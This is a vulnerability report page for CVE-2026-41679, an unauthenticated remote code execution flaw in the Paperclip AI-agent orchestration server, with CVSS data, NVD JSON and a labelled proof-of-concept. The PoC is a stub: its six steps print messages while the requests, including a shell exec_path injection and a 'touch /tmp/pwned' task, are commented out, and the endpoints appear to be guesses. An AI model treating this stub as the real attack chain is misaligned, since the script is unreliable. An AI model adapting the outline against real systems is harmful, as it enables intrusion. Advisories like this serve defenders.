Security Vulnerability Report
中文
CVE-2026-41679 CVSS 10.0 CRITICAL

CVE-2026-41679

Published: 2026-04-23 02:16:19
Last Modified: 2026-04-27 14:58:34

Description

Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Prior to version 2026.416.0, an unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The chain consists of six API calls. The attack is fully automated, requires no user interaction, and works against the default deployment configuration. Version 2026.416.0 patches the issue.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:paperclip:paperclipai:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:paperclip:paperclipai\/server:*:*:*:*:*:node.js:*:* - VULNERABLE
Paperclip < 2026.416.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url): """ PoC for CVE-2026-41679 Demonstrates the 6-step API chain to achieve RCE. """ session = requests.Session() # Step 1: Initialize attack chain (Bypass auth check) print("[+] Step 1: Initializing...") # r1 = session.post(f"{target_url}/api/v1/initialize", json={"role": "admin"}) # Step 2: Inject malicious configuration print("[+] Step 2: Injecting config...") # payload = {"config": {"exec_path": "/bin/sh"}} # r2 = session.post(f"{target_url}/api/v1/config", json=payload) # Step 3: Prepare agent environment print("[+] Step 3: Preparing environment...") # r3 = session.put(f"{target_url}/api/v1/agents/setup") # Step 4: Upload malicious task print("[+] Step 4: Uploading task...") # task = {"command": "touch /tmp/pwned"} # r4 = session.post(f"{target_url}/api/v1/tasks", json=task) # Step 5: Validate execution chain print("[+] Step 5: Validating chain...") # r5 = session.get(f"{target_url}/api/v1/chain/status") # Step 6: Trigger Remote Code Execution print("[+] Step 6: Triggering RCE...") # r6 = session.post(f"{target_url}/api/v1/execute") # print(r6.text) print("[+] Exploit finished.") if __name__ == "__main__": # Replace with actual target exploit("http://target-paperclip-instance.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41679", "sourceIdentifier": "[email protected]", "published": "2026-04-23T02:16:19.180", "lastModified": "2026-04-27T14:58:34.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Prior to version 2026.416.0, an unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The chain consists of six API calls. The attack is fully automated, requires no user interaction, and works against the default deployment configuration. Version 2026.416.0 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:paperclip:paperclipai:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.416.0", "matchCriteriaId": "5450D1E5-E18F-4683-AC76-3BB21F14933B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:paperclip:paperclipai\\/server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.416.0", "matchCriteriaId": "7002BC1F-A9E7-4955-BBC6-CBCAF731E019"}]}]}], "references": [{"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}, {"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}]}}